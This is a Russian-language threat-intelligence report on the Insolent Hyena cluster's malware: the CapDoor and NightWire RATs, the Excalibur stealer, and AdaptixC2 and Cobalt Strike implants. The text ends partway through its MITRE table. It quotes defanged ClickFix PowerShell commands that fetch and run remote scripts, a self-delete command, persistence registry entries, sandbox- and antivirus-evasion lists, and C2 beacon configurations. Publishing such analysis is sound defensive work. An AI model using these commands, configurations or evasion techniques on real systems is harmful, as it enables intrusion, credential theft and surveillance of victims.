Не только хактивизм. Мотивация и цели Insolent Hyena неоднозначны
Введение
С января по июль 2026 года мы исследовали активность кластера Insolent Hyena. Выяснилось, что злоумышленники использовали следующие инструменты:
- Ранее неизвестный троян удаленного доступа NightWire.
- Стилер, получивший название Excalibur. Он написан на языке Python и обфусцирован с помощью PyArmor.
- Средства удаленного администрирования NetSupport.
- Троян удаленного доступа CapDoor.
- C2‑фреймворки AdaptixС2 и Cobalt Strike.
Атаки Insolent Hyena были направлены на российские организации из различных отраслей: науки, образования, госуправления, розничной торговли, электронной коммерции, IT и инженерии.
Ключевые выводы
- Insolent Hyena активно взаимодействует с другими атакующими: финансово мотивированными и кибершпионами.
- Злоумышленники развивают собственный инструментарий, расширяя его легитимным ПО и средствами двойного назначения.
- Группировка не ограничивается конкретными сторонними инструментами, а использует сразу несколько С2‑фреймворков и легитимных средств удаленного доступа.
Инструментарий атакующих
CapDoor
В начале мая специалисты BI.ZONE Threat Intelligence обнаружили фишинговый сайт группировки Insolent Hyena, замаскированный под сайт одного из регуляторов. На фишинговом ресурсе атакующими применялась техника социальной инженерии ClickFix (User Execution: Malicious Copy and Paste (T1204.004)).
Выполняемая вредоносная команда:
CMd /c pO^wERS^hELl -c iex (iwr 'hxxps://0.rospotrebru[.]com/0/p.la')# Код подтверждения: 029381
Если выполнить загрузку следующей стадии с указанного адреса с помощью браузера, сервер отдаст сценарий, не имеющий вредоносной функциональности. Это реализовано атакующими для маскировки вредоносной активности.
Невредоносный сценарий:
Start-Process calc Write-Host 'Hey! Whats up? How you doing?'
После запуска команды на компьютер жертвы загружается PowerShell‑сценарий, выполняющий функции загрузчика следующей стадии. Всего было обнаружено два таких сценария: p.la, загружаемый по адресу из команды, и сценарий, обнаруженный в публичном мультисканере. Оба сценария идентичны и приводят к выполнению одинаковых цепочек компрометации.
Последовательность работы ВПО:
Очистка ключа реестра RunMRU, в котором хранится история команд, введенных через диалоговое окно «Выполнить» (Win + R), тем самым выполняется удаление следов запуска интерпретатора пользователем.
Remove-ItemProperty -Path ('HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU') -Name "*" -ErrorAction SilentlyContinueЗагрузка установочного MSI‑файла следующей стадии. URL‑адреса из обоих сценариев для загрузки MSI‑файлов:
hxxps://0.rospotrebru[.]com/0/ferr.um hxxps://0.rospotrebru[.]com/0/midnig.ht
Запуск MSI‑файла с помощью msiexec.exe.
msiexec /i [путь к файлу MSI]
Запуск первого MSI‑файла приводит к установке в системе легитимного приложения KeyShot Network Configurator — компонента приложения для 3D‑рендеринга KeyShot. Вместе с приложением в системе создаются три вредоносные библиотеки и два файла с зашифрованной нагрузкой.
Создаваемые в первом случае файлы:
iAppAud.dll— DLL‑библиотека для расшифровывания шелл‑кода Octowave Loader из файлаpreviewcore.db.PDFShell.dll— DLL‑библиотека для сокрытия окон текущего процесса.OneLicense.dll— DLL‑библиотека для запуска расшифрованного шелл‑кода Octowave Loader.previewcore.db— файл с зашифрованным шелл‑кодом Octowave Loader.BezierUpdate.bin— зашифрованный CapDoor RAT.
Второй MSI‑файл устанавливает MediaInfoService — компонент 4DDiG File Repair, приложения для восстановления поврежденных файлов от компании TenoShare. Исполняемый файл имеет версию 1, 0, 0, 133‑d‑194af4bb. Во время установки в системе создаются две вредоносные библиотеки и два файла с зашифрованной нагрузкой.
Создаваемые во втором случае файлы:
D3xlpack.dll— DLL‑библиотека для расшифровывания шелл‑кода Octowave Loader из файлаpreview.dat.ReactiveProperty.dll— DLL‑библиотека для запуска расшифрованного шелл‑кода Octowave Loader.preview.dat— файл с зашифрованным шелл‑кодом Octowave Loader.BezierUpdate.bin— зашифрованный CapDoor RAT.
Управляющий сервер CapDoor:
hxxps://lorebird[.]com
Закрепление ВПО в системе реализуется с помощью ключа реестра RUN, куда записывается параметр для запуска легитимного исполняемого файла.
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "KST Configurator" = %LocalAppData%\Programs\KeyShot Network Configurator\fdupdate.exe
Была также обнаружена аналогичная цепочка.
Вредоносная команда:
[CMd /c pow^e^r^sHe^lL iex(iwr('hxxps://intekopt[.]ru/yacaptcha/verification/id928012750/yande.x'))
PowerShell‑скрипт повторяет логику, описанную выше, и скачивает MSI‑файл, содержащий:
hxxps://lorebird[.]com/p/a.u
MSI‑файл устанавливает Syncovery Core Client.
Создаваемые файлы:
winPro.dll— DLL‑библиотека для расшифровывания шелл‑кода Octowave Loader из файлаcache.dat.Patagames.Pdf.dll— DLL‑библиотека для запуска расшифрованного шелл‑кода Octowave Loader.DHQ.Common.dll— DLL‑библиотека для скрытия окон.cache.dat— файл с зашифрованным шелл‑кодом Octowave Loader.Size_Stroke.dat— зашифрованный CapDoor RAT.
Управляющий сервер CapDoor:
hxxps://lorebird[.]com
В ходе анализа инфраструктуры Insolent Hyena также были получены образцы ВПО CapDoor.
CapDoor распространялся в виде ZIP‑архива sslconf.zip, внутри которого содержалось легитимное приложение sslconf.exe.
Используемые файлы:
Build-.dll— DLL‑библиотека для расшифровывания шелл‑кода Octowave Loader из файлаThread.Pack.dat. Расшифровывание шелл‑кода происходит также с помощью XOR.host.dll— DLL‑библиотека для запуска расшифрованного шелл‑кода Octowave Loader.RaiDrive.dll— DLL‑библиотека для скрытия окон.Thread.Pack.dat— файл с зашифрованным шелл‑кодом Octowave Loader.detect.bak— зашифрованный CapDoor RAT.
CapDoor не претерпел изменений.
Управляющий сервер CapDoor:
hxxps://freeportcrm[.]com
NightWire
Специалисты BI.ZONE Threat Intelligence выявили троян удаленного доступа NightWire, который поставлялся вместе с загрузчиком NightWire Stager.
В начале исполнения загрузчик NightWire Stager проверяет, установлен ли режим отладки, с помощью сравнения строки конфигурации NW_DEBUG_OFF с NW_DEBUG_ON. Если переменная установлена в режим отладки, загрузчик создает отладочное окно с именем NightWire Stager [DEBUG], а также будет логировать действия в файл %TEMP%\nw_stager.log в формате:
[TIMESTAMP] [DATA]
Пример логируемых данных:
[12:44:46.490] === NightWire Stager start, pid=10384 ===
После этого создается мьютекс Global\NW_Stg_0xA3.
При отсутствии режима отладки выполняются проверки AntiSandBox и AntiDebug:
- выполнение WinAPI‑функции
IsDebuggerPresent(); - проверка
ProcessDebugPort; - анализ временных задержек с помощью
QueryPerformanceCounter(); - получение имени пользователя через
GetUserNameA, приведение его к нижнему регистру и поиск определенных подстрок; - проверка объема оперативной памяти (должен быть больше 2 ГБ);
- проверка количества запущенных процессов (больше 50);
- проверка uptime системы (больше 600 000 мс);
- проверка изменения позиции курсора спустя 600 мс;
- проверка размера диска
C:\(больше 40 ГБ); - проверка количества элементов в директории
%APPDATA%\Microsoft\Windows\Recent(больше 10); - проверка CPUID hypervisor bit: бит гипервизора не должен быть установлен;
- попытка открытия нескольких заранее заданных путей реестра в HKLM.
Проверка имени пользователя блокирующая: если в имени пользователя обнаружена одна из заданных подстрок, ВПО сразу завершает работу.
Остальные проверки работают по накапливаемой логике. За признаки обычной системы инкрементируется счетчик. Если итоговое количество набранных признаков меньше либо равно 4, ВПО считает окружение песочницей или виртуальной машиной и завершает работу.
Затем ВПО создает TCP‑сокет и пытается скачать финальную нагрузку:
81.26.179[.]144:8080/WIN-[redacted]/nightwire.bin
После скачивания ВПО пытается расшифровать финальную нагрузку с помощью RC4 с ключом EdgeUpdateFramework_v2.1.4_x64.
Если нагрузка расшифровалась успешно, загрузчик сохраняет зашифрованную нагрузку по одному из следующих путей (путь выбирается случайно):
%APPDATA%\Adobe\AdobeGCClient\config.dat %APPDATA%\Adobe\AdobeIPCBroker\config.dat %APPDATA%\Google\CrashReports\config.dat %APPDATA%\Mozilla\MaintService\config.dat %APPDATA%\Logitech\LogiOptions\config.dat %APPDATA%\Microsoft\IdentityCRL\config.dat %APPDATA%\Spotify\SpotifyMigrator\config.dat %APPDATA%\Zoom\ZoomRooms\config.dat
Далее в память процесса загружается расшифрованная нагрузка. Она запускается с помощью WinAPI‑функции CreateThread().
Финальной нагрузкой стейджера является троян удаленного доступа NightWire.
NightWire — RAT, написанный на языке GO и обфусцированный с помощью garble. В начале выполнения ВПО проверяет значение переменной конфигурации NW_DEBUG_ON. Если она установлена, ВПО выводит отладочные сообщения в консоль и записывает их в файл %TEMP%\nw_debug.log. В противном случае журналирование осуществляется только в файл %TEMP%\nw_debug.log. Если ВПО запущено с аргументом --elevated, проверки, связанные с выявлением песочниц и виртуальных машин, пропускаются.
Для выявления песочницы используются следующие проверки:
- Проверка имени пользователя на совпадение со значениями:
sandbox,sandbox_user,malware,malwareanalyst,virus,sample,test,testuser,john,johndoe,john_doe,user,currentuser,analyst,maltest,joe,miller,emily,frank,peter,phil,hans,tequilaboomboom,sand box. - Проверка количества запущенных процессов. Если количество процессов меньше либо равно 50, это рассматривается как признак песочницы.
- Проверка объема свободного пространства на диске
C:\. Если доступно менее 40 ГБ свободного места, окружение считается подозрительным. - Проверка активности пользователя посредством анализа положения курсора мыши. ВПО получает текущие координаты курсора, ожидает заданный интервал времени и повторно считывает координаты. Если положение курсора не изменилось, это рассматривается как признак песочницы.
- Проверка существования файла
%APPDATA%\Microsoft\Windows\Recent\sample. - Проверка наличия следующих ключей реестра, характерных для виртуальных сред:
HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest HKLM\SYSTEM\CurrentControlSet\Services\VBoxMouse HKLM\SYSTEM\CurrentControlSet\Services\vmci HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions HKLM\SYSTEM\CurrentControlSet\Services\intelppm
- Вызов функции
NtQuerySystemInformation(SystemCodeIntegrityPolicyInformation). Если вызов завершается ошибкой, окружение рассматривается как песочница.
После выполнения всех проверок подсчитывается количество срабатываний. Если их число превышает 5, NightWire считает, что выполняется в песочнице.
Затем ВПО выполняет проверки на наличие отладчика с использованием следующих WinAPI‑функций:
IsDebuggerPresent.CheckRemoteDebuggerPresent.NtQueryInformationProcess(ProcessDebugPort).NtQueryInformationProcess(ProcessDebugFlags).QueryPerformanceFrequency()— для анализа временных задержек.
Далее выполняется проверка запущенных процессов на наличие средств защиты, анализа и отладки: csfalconservice.exe, csagent.exe, falcon-sensor.exe, sentinelagent.exe, sentinelone.exe, sentinelhelper.exe, cb.exe, cbcomms.exe, cbstream.exe, carbonblack.exe, mssense.exe, senseir.exe, sensecncproxy.exe, elastic-agent.exe, elastic-endpoint.exe, cylancesvc.exe, cylanceui.exe, savservice.exe, sophos.exe, sophosav.exe, rtvscan.exe, bdagent.exe, ekrn.exe, eset.exe, avp.exe, avpui.exe, kavfs.exe, mbamservice.exe, mbamtray.exe, cyserver.exe, cytray.exe, mcshield.exe, mctray.exe, masvc.exe, ccsvchst.exe, vsserv.exe, procmon.exe, procexp.exe, processhacker.exe, x64dbg.exe, x32dbg.exe, ollydbg.exe, ida.exe, ida64.exe, dnspy.exe, ghidra.exe, fiddler.exe, tcpview.exe, wireshark.exe, autoruns.exe.
После завершения проверок ВПО выполняет изменение (патчинг) механизмов ETW и AMSI. Если процесс был запущен с аргументом --service, NightWire перезапускает себя с аргументом --detached.
Далее осуществляется закрепление в системе, описанное в соответствующем разделе команд. При наличии прав администратора ВПО добавляет собственный путь в список исключений Microsoft Defender посредством создания записи в разделе реестра: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths.
После этого запускается отдельная Go‑рутина, отвечающая за подключение к управляющему серверу и обработку команд.
В качестве C2‑сервера используется адрес:
81.26.179[.]144:4444
Подключение к управляющему серверу осуществляется через TCP‑сокет.
Поддерживаемые команды NightWire:
| Команда | Описание |
|---|---|
|
ping |
Возврат |
|
screenshot |
Создание снимка экрана в формате BMP |
|
mic‑record [seconds] |
Запись звука с микрофона в течение указанного промежутка времени. Для этого ВПО приостанавливает выполнение на заданный интервал времени, после чего извлекает сохраненную аудиозапись в формате WAV |
|
inject [pid] |
Инжектирование шелл‑кода в переданный PID. Инжектирование с помощью |
|
socks5‑start [port] |
Запуск SOCKS5‑прокси |
|
socks5‑stop |
Остановка SOCKS5‑прокси |
|
tunnel‑start |
Создание TCP‑туннеля к указанному адресу. В начале подключения отправляется строка |
|
clipboard‑dump |
Получение данных из буфера обмена с помощью WinAPI‑функции |
|
get‑creds |
Кража данных из Chromium‑based‑браузеров. ВПО извлекает и расшифровывает master key из файла |
|
webcam‑snap |
От C2 ожидается дополнительный файл, который сохраняется в |
|
webcam‑stop |
Завершение процесса, созданного командой |
|
geolocate |
Получение геолокации. Собираются данные об окружающих Wi‑Fi‑точках, для каждой точки берется ее |
|
webcam‑stream |
От C2 ожидается дополнительный сервер. Аналогично скачивается дополнительный файл и сохраняется в |
|
keylog‑start |
Установка перехвата событий клавиатуры с помощью WinAPI‑функции |
|
keylog‑dump |
Отправка собранных данных о нажатиях клавиатуры на C2 |
|
keylog‑stop |
Завершение работы кейлогера |
|
screen‑black |
Создание окна поверх рабочего стола пользователя. ВПО регистрирует оконный класс |
|
screen‑update |
Используется тот же механизм, что и для |
|
screen‑restore |
Восстановление экрана пользователя |
|
persist |
Закрепление в реестре с помощью DLL, находящейся внутри ВПО. DLL сохраняется в |
|
elevate |
Обход UAC с использованием mock trusted directory и DLL side‑loading через |
|
search‑files [pattern] [path] |
Рекурсивный поиск файлов по маске в указанной директории. Из обхода исключаются директории |
|
shell [command] |
Выполнение команд в интерпретаторе Если пришла команда, которая начинается с |
|
sysinfo |
Базовый сбор информации о системе. Собираются имя компьютера с помощью WinAPI‑функции |
|
desktop‑grab |
Сбор файлов из директорий |
|
browse [path] |
Рекурсивный обход переданной директории |
|
rdp‑connect [c2] |
RDP‑подключение к переданному адресу |
|
fingerprint‑collect |
Сбор физической информации о системе. Собирается следующая информация:
|
|
browser‑grab [path] |
Рекурсивный сбор файлов из указанной директории. В ZIP‑архив включаются доступные для чтения файлы размером не более 50 MiB. Из обработки исключаются пути, содержащие строки |
|
download‑zip [path] |
Архивирование и скачивание рекурсивно переданной директории |
|
download [path] |
Скачивание переданного файла |
|
upload [path] [base64data] |
Запись данных в файл по переданному пути. Данные приходят в формате Base64 |
|
browser‑profiles |
Поиск установленных браузеров и их профилей. Для Chromium‑based‑браузеров используется |
Дополнительно при наличии WireGuard‑конфигурации ВПО запускает отдельную Go‑рутину, которая поднимает WireGuard‑компонент и создает локальный tray‑интерфейс под видом VPN‑клиента с именем SecureConnect VPN Client. Tray‑меню содержит пункты Connect с описанием Connect to the corporate WireGuard tunnel, Disconnect с описанием Disconnect from the corporate WireGuard tunnel, Enable diagnostic input logging с описанием Enable explicit diagnostic logging и Quit с описанием Close SecureConnect. При выборе Connect вызывается обработчик подключения WireGuard, в результате чего устанавливается туннель к удаленному WireGuard, указанному в конфигурации ВПО. При выборе Disconnect туннель отключается. В зависимости от флага в конфигурации туннель также может подниматься автоматически при запуске компонента.
AdaptixC2
Во время исследования инфраструктуры атакующих был обнаружен файл 1CServiceInstaller.exe, являющийся имплантом фреймворка постэксплуатации AdaptixC2 со следующей конфигурацией:
{
"beacon_type": "BEACON_HTTP",
"network": {
"use_ssl": true,
"protocol": "HTTPS",
"servers": [
{
"host": "unmoralreformeddehydrate[.]cfd",
"port": 443,
"url": "hxxps://unmoralreformeddehydrate[.]cfd:443"
}
]
},
"http": {
"method": "POST",
"uri": "/service/update2/json",
"parameter": "Bfcache-Opt-In",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 YaBrowser/25.8.0.0 Safari/537.36",
"headers": {
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Dest": "empty",
"Accept-Language": "en-US,en;q=0.5"
}
},
"timing": {
"ans_pre_size": 26,
"ans_size": 47,
"kill_date": 0,
"working_time": 0,
"sleep_delay_ms": 0,
"jitter_ms": 0
},
}
AdaptixC2 также распространялся в виде MSI‑файла с именем BeautyPilotPersonal_signed.msi, внутри которого находится легитимное приложение QT Designer.
Используемые файлы:
libCra.dll— DLL‑библиотека для расшифровывания шелл‑кода Octowave Loader из файлаUpdate.Build.db.SonitusFXWahwah.dll— DLL‑библиотека для запуска расшифрованного шелл‑кода Octowave Loader.SharpVectors.Model.dll— DLL‑библиотека для скрытия окон.Update.Build.db— файл с зашифрованным шелл‑кодом Octowave Loader.Packets.pak— зашифрованный AdaptixC2.
Конфигурация данного образца Adaptix такая же, как представленная выше.
Excalibur
При продолжении исследования инфраструктуры атакующих был обнаружен файл exhere.exe — не описанный ранее стилер, написанный на Python. Исполняемый файл стилера упакован с помощью PyInstaller и дополнительно защищен протектором PyArmor версий 8–9.
Excalibur осуществляет кражу данных из обширного перечня приложений. Среди них:
- Браузеры: Chronium, Gecko, Tor, «Яндекс».
- Игровые приложения: BattleNet, EpicGames, Hytale, MineCraft, OBS, Plarium, RiotGames, Roblox, Steam, VkPlay, XSplit.
- Приложения электронной почты и обмена сообщениями: DeltaChat, Discord, Element, EmClient, FoxMail, Gajim, MailBird, MailSpring, MSteams, OpenClaw, Outlook, Pidgin, Rambox, Signal, Slack, Telegram, Tox, Tutanota, Viber, WhatsApp
, PostboxApp. - Криптокошельки: armory, atomic, binance, bitcoin, bitwarden, blockstream, cake, coinomi, coinspace, electrum, exodus, frame, guarda, infinity, keepassxc, komodo, litecoin, metamask, monero, mymonero, okx, wasabi.
- VPN, FTP, RDP, приложения баз данных, сетевые и прочие приложения: anydesk, coreftp, dbeaver, electerm, filezilla, ftprush, ftpx, hamachi, heidisql, ivms4200, mremoteng, mullvadvpn, mysqlworkbench, navicat, npm, openvpn, outline, pgadmin, protonvpn, proxifier, rdcman, rustdesk, snowflake, squirellsql, tightvnc, totalcmd, turboftp, winbox, winscp, wlan, xftp, Squirrel SQL.
- Приложения для текстов, заметок, органайзеров и записок: MsStickyNotes, Notion, Obsidian.
Среди функциональных возможностей Excalibur также:
- Создание снимков экрана рабочего стола.
- Создание снимков на встроенную или подключенную веб‑камеру устройства.
- Получение информации о пользователе и системе: имя пользователя, SID, привилегии, имя компьютера, версия и разрядность ОС, информация о CPU и GPU, публичный IP‑адрес (с помощью обращения к https://api.ipify.org).
- Осуществление кражи файлов из скомпрометированной системы.
Excalibur имеет функциональность по противодействию анализу в виртуальных машинах и песочницах. Он использует для этого следующие методы:
- Вызов инструкции CPUID со значением 0×40000000. Это позволяет получить имя гипервизора. Excalibur проверяет значение на наличие подстрок VBox, KVM и VMware. Если будет обнаружена такая подстрока, выполнение стилера прекращается.
- Поиск подгруженных в память DLL, характерных для инструментов анализа и песочниц:
sbiedll.dll,dbghelp.dll,api_log.dll,dir_watch.dll,pstorec.dll,vmcheck.dll,wpespy.dll. - Проверка на наличие присоединенного отладчика с помощью вызова функции
IsDebuggerPresent().
Также Excalibur может удалять себя из системы с помощью вызова cmd.exe с аргументами:
cmd.exe /D /R chcp 65001 & timeout /t 2 /nobreak & del /F /Q %PATH%
Excalibur также собирает информацию о геолокации скомпрометированной системы:
- Получает информацию о Wi‑Fi‑точках SSID‑ и BSSID‑сетей, которые обнаруживаются в определенном радиусе от компьютера.
- Получает IP‑адрес при чтении поля DefaultIPGateway через WMI‑запрос
Win32_NetworkAdapterConfiguration. - Получает значение MAC‑адреса с помощью ARP.
- Осуществляет отправку POST‑запроса на https://gs-loc.apple.com/clls/wloc для определения географических координат (широта и долгота) с помощью протокола locationd.
Excalibur осуществляет запросы на canarytokens.com с целью оповещения злоумышленников о своей активности и работе.
Пример конфигурации Excalibur:
ECC_PUBLIC = '3059301306072a8648ce3d020106082a8648ce3d030107034200043850697a6e11898c7343f57b44b108b2a685db06db022881f8e52560f3f01222da0f3c838755ff9e4b19da5ce7fb1ac3bde809c3f646eee9ddabf5da54152007'
CANARY_ENDPOINTS = { 'hxxp://canarytokens[.]com/tags/feedback/static/1o6pm1zgcinkbnbkw1nkub86h/submit.aspx', 'hxxp://canarytokens[.]com/tags/feedback/uymgavxl9bgj2jeei1o8fluu4/post.jsp'}
MUTEX = 'Global\\{D3C2B0E1-4F5A-4F6B-9C3D-2E1F3B4A5C6D}' COLLECT_LOCAL_STORAGE = True
COLLECT_FILES = True
CAPTURE_WEBCAM = False
CAPTURE_DESKTOP = True
SELF_DELETE = False
ANTI_VM = False
Загрузка украденных файлов может осуществляться на файлообменные ресурсы, например:
- https://litterbox.catbox.moe/resources/internals/api.php
- https://bashupload.com/
- https://upload.gofile.io/uploadfile
- https://envs.sh
- https://filebin.net/
- https://tempshare.su/upload-direct
- https://transfer.sh
- https://transfer.adttemp.com.br/
Excalibur создает глобальный мьютекс для предотвращения повторного запуска, например:
Global\{D3C2B0E1-4F5A-4F6B-9C3D-2E1F3B4A5C6D}
Собранную информацию, включая информацию о системе и скриншот экрана, Excalibur сохраняет в создаваемый ZIP‑архив под именем cred.zip. Данный архив будет направлен злоумышленникам. В создаваемом архиве присутствует строка < E X C A L I B U R >.
cred.zip
Средства удаленного доступа и администрирования
В ходе дальнейшего исследования инфраструктуры атакующих мы выявили такие средства, как NetSupport и AnyDesk. AnyDesk, предположительно, использовался атакующими для доставки в целевую систему других вредоносных инструментов. При изучении поступающей информации был также выявлен архив, содержащий NetSupport. Имя архива — sberbank.zip. Сетевое соединение осуществлялось с IP‑адресом 91.219.150.109.
На данном IP располагаются домены:
securityswindow[.]com micrasoftwindow[.]com microsoftpathes[.]com
AnyDesk и NetSupport многократно использовались атакующими в различных сценариях атак в качестве легитимных средств удаленного доступа. Данная тактика позволяет снизить вероятность обнаружения как действий атакующих, так и используемых инструментов различными системами обнаружения угроз.
Cobalt Strike
При углубленном изучении цепочек компрометации был дополнительно выявлен MSI‑установщик под именем 63b2a0ec.msi (он же svchost.msi). Данное MSI‑приложение осуществляет установку легитимного приложения QCAD Manager — программы для построения технических чертежей в 2D. Однако наряду с установкой данного приложения осуществлялся запуск импланта (HTTP‑beacon) фреймворка постэксплуатации Cobalt Strike. Имплант разворачивается в памяти процесса qcad.exe. Конфигурация импланта:
{
"beacontype": [
"HTTP"
],
"sleeptime": 38500,
"jitter": 27,
"maxgetsize": 1398151,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 987654321,
"cfg_caution": true,
"kill_date": null,
"server": {
"hostname": "178[.]236[.]252[.]92",
"port": 80,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDVVHO60tqKBiE9+iRfnEeXe1Sqh2aw1Aq34M34VH5PD0B2hiG7c/R5t3E/YVBAb9xpAmHw+brPYt4u9xvN3x3S0/OhaDxqRROAi2CVsK3znP6fAHN1ZlOjS6cC7CRaYzWUfk/Ncr5vSl/5k+aFzgjQMhS1XWg6s/Ii6Uqlpwzo0wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/async/newtab_promos",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
},
"server": {
"output": [
"print",
"append 17 characters",
"prepend 32 characters",
"base64url"
]
}
},
"http-post": {
"uri": "/service/update2/json",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
},
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
},
"http_post_chunk": 96,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\gpupdate.exe",
"spawnto_x64": "%windir%\\sysnative\\gpupdate.exe"
},
"process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
"CreateThread 'ntdll.dll!RtlUserThreadStart'",
"SetThreadContext",
"NtQueueApcThread-s",
"CreateThread 'kernel32.dll!LoadLibraryA'",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 16700,
"startrwx": true,
"stub": "CzQVDDQuNdL/rLIidiDZHA==",
"transform-x86": [
"prepend '\\x90\\x90\\x90'"
],
"transform-x64": [
"prepend '\\x90\\x90\\x90'"
],
"userwx": false
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": null,
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": true
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
Индикаторы компрометации
Хеш‑суммы файлов
c08353db74c847d6bddab0f2a9aed6fde42014a66cf7abbbd46cdd964b9c1929ad5b915766b0182202648ff9c5c4881a4fcabca8e8847cad497f47c01a5a02fb39a336c4066647cd02042ce72780cb5f9129bcbcca7f87177af862b5efbc47d7d51c6b1b160f168fb936b94a67e5a6f3c5bc7d00fdd61d30ee17aa3e8e4b90784856ddb55e8f6a901a8690e22a697662369055f386ab7059d47a38cb9ee792e8f074eaf5239af199369dd414aea7316610e8f7decbe5e1c936cbdcdbec6aabe9e5b57193cea47c80947f87d1ffa7e376eead6a0bbec740a89c7e161205410b0979b182f581310548c5de0913deda2a99e24c6f8d651e714b6b98890931e0a5fb4824f6686b8746cc9aabe931f5e0acf9b474a72b8a07a76f78711e10ffb290cca03ea11e5ea4808afaeb5189916dd3d62da65e004cb70b1d07703e24b6d6ee3325714ca20b2ce8eecbacc59d34b2c6712fa4f1913b4dc8c8d7a0e4375aefa356bd534fcbd2c37e8ba751f4609ef046b7e1e82f7ea6c2d28c535f97b907d18e125df0b28276c8d9dfd185949621ea5b46952b032f88e9775db84e42ca208456f52463f321e6263c562dfde4a30012e0c699c28c62f3545578b02c93cbfe7999297a7e92a311c49b5b766429e5d85c87e4270e1a08d7fbb1fe8b794f7a78e4edb6
2b8d278297c08bc44236daf5c1b1f964b1d514217cfd2205c3a0dc835dbdf05c15c9f99289a8918f21d9689d8d2cc9e099cc58219a1268570764668fc0a8abff3536e20a177c79581cada5bc7008b246a00c3f9d9f4e98424d2db5802d3ac7f2
7809497c82a705c73aeb9d226c2ec8cb5b174a4c5696867d01f3ef0b186c7188ab01eb9eccd3237318961d3a72320e53567a730f785955a544021be7aedb1961
2f211c850d8bdd34bbfbea3fdf1a9b7089fdefb94768c3a2cf76243a29967ec8
sberbank.zip)
17a73c01e6dfc40b3b4a29f2630d8ead8e04a6f6588b705dbe0aaa6efdaa4214
client32.ini)ee117e51e7c2aaf411af9c392863562441145d6efd764627f6461f8c614243a3fe5cedd40864963a2d5d3972e74c3563a9bcfd6f77a2ef1d228272cfff72ef5988243699d9aa42ff69b53f86462f597630df1c5650e27815887bc89e1f2b06c0
4e9fc3d61d41be8f52223a8d24cbcb4f8c962c780b470da6e1e3824fbb5b8ecc
Сетевые индикаторы
hxxps://0.rospotrebru[.]com/0/p.lahxxps://0.rospotrebru[.]com/0/ferr.umhxxps://0.rospotrebru[.]com/0/midnig.hthxxps://intekopt[.]ru/yacaptcha/verification/id928012750/yande.xhxxps://lorebird[.]com/p/a.u81.26.179[.]144:8080/WIN-[redacted]/nightwire.binhxxp://canarytokens[.]com/tags/feedback/static/1o6pm1zgcinkbnbkw1nkub86h/submit.aspxhxxp://canarytokens[.]com/tags/feedback/uymgavxl9bgj2jeei1o8fluu4/post.jsp
lorebird[.]comfreeportcrm[.]comintekopt[.]ruunmoralreformeddehydrate[.]cfdsecurityswindow[.]commicrasoftwindow[.]commicrosoftpathes[.]com
81.26.179[.]14491[.]219[.]150[.]109178[.]236[.]252[.]92
MITRE ATT&CK
| Тактика | Техника | Процедура |
|---|---|---|
|
Execution |
Command and Scripting Interpreter: PowerShell |
Insolent Hyena использует PowerShell для загрузки и выполнения сценария следующей стадии с помощью Invoke‑Expression и Invoke‑WebRequest:
Insolent Hyena использует CapDoor для исполнения команд в интерпретаторе PowerShell:
Insolent Hyena использует AdaptixC2 для выполнения переданных команд в интерпретаторе PowerShell |
|
Command and Scripting Interpreter: Windows Command Shell |
Insolent Hyena использует NightWire для выполнения полученных от управляющего сервера команд через интерпретатор Insolent Hyena использует AdaptixC2 для обеспечения интерактивного выполнения команд с помощью интерпретатора команд Windows |
|
|
Command and Scripting Interpreter: Python |
Insolent Hyena использует Excalibur, код которого написан на Python |
|
|
Hijack Execution Flow: DLL |
Insolent Hyena размещает вредоносные DLL‑библиотеки рядом с легитимными приложениями для загрузки и выполнения Octowave Loader |
|
|
Native API |
Insolent Hyena использует CapDoor для выполнения WinAPI‑функций Insolent Hyena использует имплант фреймворка постэксплуатации Cobalt Strike, который может вызывать различные WinAPI‑функции для выполнения вредоносных операций |
|
|
User Execution: Malicious Copy and Paste |
Insolent Hyena применяет ClickFix, побуждая пользователя скопировать вредоносную команду с поддельной CAPTCHA и выполнить ее через диалоговое окно «Выполнить»: CMd /c pO^wERS^hELl -c iex (iwr 'hxxps://0.rospotrebru[.]com/0/p.la')
|
|
|
Persistence |
Boot or Logon Autostart Execution: Registry Run Keys / Startup Foldera |
